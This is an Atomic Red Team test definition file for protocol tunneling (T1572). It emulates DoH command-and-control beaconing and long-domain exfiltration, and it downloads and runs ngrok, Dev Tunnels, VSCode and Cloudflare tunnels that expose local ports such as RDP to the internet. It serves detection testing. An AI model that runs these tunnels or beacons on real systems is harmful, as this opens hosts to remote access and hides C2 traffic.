atomic-red-team/atomics/T1572/T1572.yaml

attack_technique: T1572
display_name: 'Protocol Tunneling'
atomic_tests:
- name: DNS over HTTPS Large Query Volume
  auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a
  description: |
    This test simulates an infected host sending a large volume of DoH queries to a command and control server.
    The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
    A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: string
      default: https://8.8.8.8/resolve
    query_type:
      description: DNS query type
      type: string
      default: TXT
    subdomain:
      description: Subdomain prepended to the domain name
      type: string
      default: atomicredteam
    query_volume:
      description: Number of DNS queries to send
      type: integer
      default: 1000
    domain:
      description: Default domain to simulate against
      type: string
      default: 127.0.0.1.xip.io
  executor:
    command: |
      for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content }
    name: powershell
- name: DNS over HTTPS Regular Beaconing
  auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b
  description: |
    This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
    This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
    A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: string
      default: https://8.8.8.8/resolve
    runtime:
      description: Time in minutes to run the simulation
      type: integer
      default: 30
    domain:
      description: Default domain to simulate against
      type: string
      default: 127.0.0.1.xip.io
    subdomain:
      description: Subdomain prepended to the domain name
      type: string
      default: atomicredteam
    query_type:
      description: DNS query type
      type: string
      default: TXT
    c2_interval:
      description: Seconds between C2 requests to the command and control server
      type: integer
      default: 30
    c2_jitter:
      description: Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests
      type: integer
      default: 20
  executor:
    command: |
      Set-Location "PathToAtomicsFolder"
      .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
    name: powershell
- name: DNS over HTTPS Long Domain Query
  auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c
  description: |
    This test simulates an infected host returning data to a command and control server using long domain names.
    The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
     Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
  supported_platforms:
  - windows
  input_arguments:
    doh_server:
      description: Default DoH resolver
      type: string
      default: https://8.8.8.8/resolve
    query_type:
      description: DNS query type
      type: string
      default: TXT
    subdomain:
      description: Subdomain prepended to the domain name (should be 63 characters to test maximum length)
      type: string
      default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
    domain:
      description: Default domain to simulate against
      type: string
      default: 127.0.0.1.xip.io
  executor:
    command: |
      Set-Location "PathToAtomicsFolder"
      .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
    name: powershell
- name: run ngrok
  auto_generated_guid: 4cdc9fc7-53fb-4894-9f0c-64836943ea60
  description: |
    Download and run ngrok. Create tunnel to chosen port.

  supported_platforms:
  - windows
  input_arguments:
    api_token:
      description: ngrok API
      type: string
      default: N/A
    port_num:
      description: port number for tunnel
      type: integer
      default: 3389
    download:
      description: link to download ngrok
      type: string
      default: https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Download ngrok
    prereq_command: |
      if (Test-Path C:\Users\Public\ngrok) {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Path C:\Users\Public\ngrok -ItemType Directory | Out-Null
      Invoke-WebRequest #{download} -OutFile C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -UseBasicParsing
      Expand-Archive C:\Users\Public\ngrok\ngrok-v3-stable-windows-amd64.zip -DestinationPath C:\Users\Public\ngrok
  executor:
    command: |
      C:\Users\Public\ngrok\ngrok.exe config add-authtoken #{api_token} | Out-Null
      Start-Job -ScriptBlock { C:\Users\Public\ngrok\ngrok.exe tcp #{port_num} } | Out-Null
      Start-Sleep -s 5 
      Stop-Job -Name Job1 | Out-Null
    cleanup_command: |
      Remove-Item C:\Users\Public\ngrok -Recurse -ErrorAction Ignore
      Remove-Item C:\%userprofile%\AppData\Local\ngrok -ErrorAction Ignore
    name: powershell
    elevation_required: true

- name: Microsoft Dev tunnels (Linux/macOS)
  auto_generated_guid: 9f94a112-1ce2-464d-a63b-83c1f465f801
  description: |
    Dev Tunnels enables insiders as well as threat actors to expose local ports over the internet via Microsoft dev tunnels.

    This atomic will generate a dev tunnel binding it to the local service running on the provided port. Can be used to expose local services, web applications and local files etc.
    Reference:
    - [Microsoft Docs](https://learn.microsoft.com/en-us/tunnels/dev-tunnels-overview)
    - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/devtunnels/)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    port:
      description: port number for tunnel
      type: integer
      default: 8080
    download_url:
      description: link to download devtunnel
      type: string
      default: https://aka.ms/TunnelsCliDownload/linux-x64
    binary_path:
      description: path to download devtunnel
      type: string
      default: PathToAtomicsFolder/../ExternalPayloads/devtunnel
  dependencies:
  - description: |
      Download devtunnel
    prereq_command: |
      test -f #{binary_path}
    get_prereq_command: |
      mkdir -p $(dirname #{binary_path})
      curl -L "#{download_url}" -o "#{binary_path}"
      chmod +x #{binary_path}
  - description: |
      Login to Microsoft Dev tunnels
    prereq_command: |
      #{binary_path} user show | grep -q "Not logged in" && exit 1 || exit 0
    get_prereq_command: |
      echo "Login to devtunnel using the following command: #{binary_path} user login"
  executor:
    command: |
      #{binary_path} host -p #{port} &
    cleanup_command: |
      pkill -9 $(basename "#{binary_path}")
      #{binary_path} user logout
      rm #{binary_path}
    name: bash

- name: VSCode tunnels (Linux/macOS)
  auto_generated_guid: b877943f-0377-44f4-8477-f79db7f07c4d
  description: |
    Visual Studio Code Remote Tunnels can be used for exposing local development environment/services/files over the internet.
    This atomic will generate a dev tunnel binding it to the local service running on the provided port.
    Reference:
    - [Microsoft Docs](https://code.visualstudio.com/docs/remote/tunnels)
    - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/vscode-server/)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    artifact_base_url:
      description: Base URL to download code-cli
      type: string
      default: https://code.visualstudio.com/sha/download
    artifact_build:
      description: build to download - Allowed values (stable/insiders)
      type: string
      default: stable
    payload_path:
      description: path to download code-cli
      type: string
      default: PathToAtomicsFolder/../ExternalPayloads
    additional_args:
      description: additional arguments to pass to code tunnel
      type: string
      default: ""
  dependencies:
  - description: |
      Install code-cli
    prereq_command: |
      which code
    get_prereq_command: |
      ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "x64")
      if [ "$(uname)" = "Darwin" ]
      then brew install code-cli
      elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
      then mkdir -p $(dirname #{payload_path})        
        PKG_TYPE=$(command -v apt >/dev/null && echo "deb" || echo "rpm")
        curl -L "#{artifact_base_url}?build=#{artifact_build}&os=linux-${PKG_TYPE}-${ARCH_SUFFIX}" -o "#{payload_path}/code.${PKG_TYPE}"
        (which apt && apt install -y "#{payload_path}/code.${PKG_TYPE}") || (which yum && yum install -y "#{payload_path}/code.${PKG_TYPE}")
        rm "#{payload_path}/code.${PKG_TYPE}"
      fi
  - description: |
      Login to VSCode Dev tunnels
    prereq_command: |
      code tunnel user show | grep -q "not logged in" && exit 1 || exit 0
    get_prereq_command: |
      echo "Login to code tunnel using the following command: code tunnel user login"
  executor:
    command: |
      nohup code tunnel --accept-server-license-terms #{additional_args} >/dev/null 2>&1 &
    cleanup_command: |
      pkill -9 tunnel
      code tunnel unregister
      code tunnel user logout
    name: sh

- name: Cloudflare tunnels (Linux/macOS)
  auto_generated_guid: 228c336a-2f79-4043-8aef-bfa453a611d5
  description: |
    Cloudflared can be used for exposing local development environment/services/files over the internet.
    This atomic will generate a dev tunnel binding it to the local service running on the provided port.
    Reference:
    - [Cloudflared Docs](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/)
    - [LOT Tunnels](https://lottunnels.github.io/lottunnels/Binaries/cloudflared/)
  supported_platforms:
  - linux
  - macos
  input_arguments:
    cloudflared_artifact_base_url:
      description: Base URL to download cloudflared
      type: string
      default: https://github.com/cloudflare/cloudflared/releases/latest/download
    binary_path:
      description: path to download cloudflared
      type: string
      default: PathToAtomicsFolder/../ExternalPayloads/cloudflared
    url_to_tunnel:
      description: IP and port to expose
      type: string
      default: localhost:8080
    additional_args:
      description: Additional arguments to pass to cloudflared
      type: string
      default: ""
  dependencies:
  - description: |
      Download cloudflared
    prereq_command: |
      test -f "#{binary_path}" && exit 0 || exit 1
    get_prereq_command: |
      ARCH_SUFFIX=$(uname -m | grep -q "arm64\|aarch64" && echo "arm64" || echo "amd64")
      if [ "$(uname)" = "Darwin" ]
      then curl -L "#{cloudflared_artifact_base_url}/cloudflared-darwin-${ARCH_SUFFIX}.tgz" -o "$(dirname #{binary_path})/cloudflared-darwin-${ARCH_SUFFIX}.tgz" 
        cd "$(dirname #{binary_path})"
        tar -xzf "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
        rm -f "cloudflared-darwin-${ARCH_SUFFIX}.tgz"
        chmod +x "#{binary_path}"
      elif [ "$(expr substr $(uname) 1 5)" = "Linux" ]
      then mkdir -p $(dirname #{binary_path})
        curl -L "#{cloudflared_artifact_base_url}/cloudflared-linux-${ARCH_SUFFIX}" -o "#{binary_path}"
        chmod +x "#{binary_path}"
      fi
  executor:
    command: |
      nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &
    cleanup_command: |
      pkill -9 $(basename "#{binary_path}")
      rm -f "#{binary_path}"
    name: sh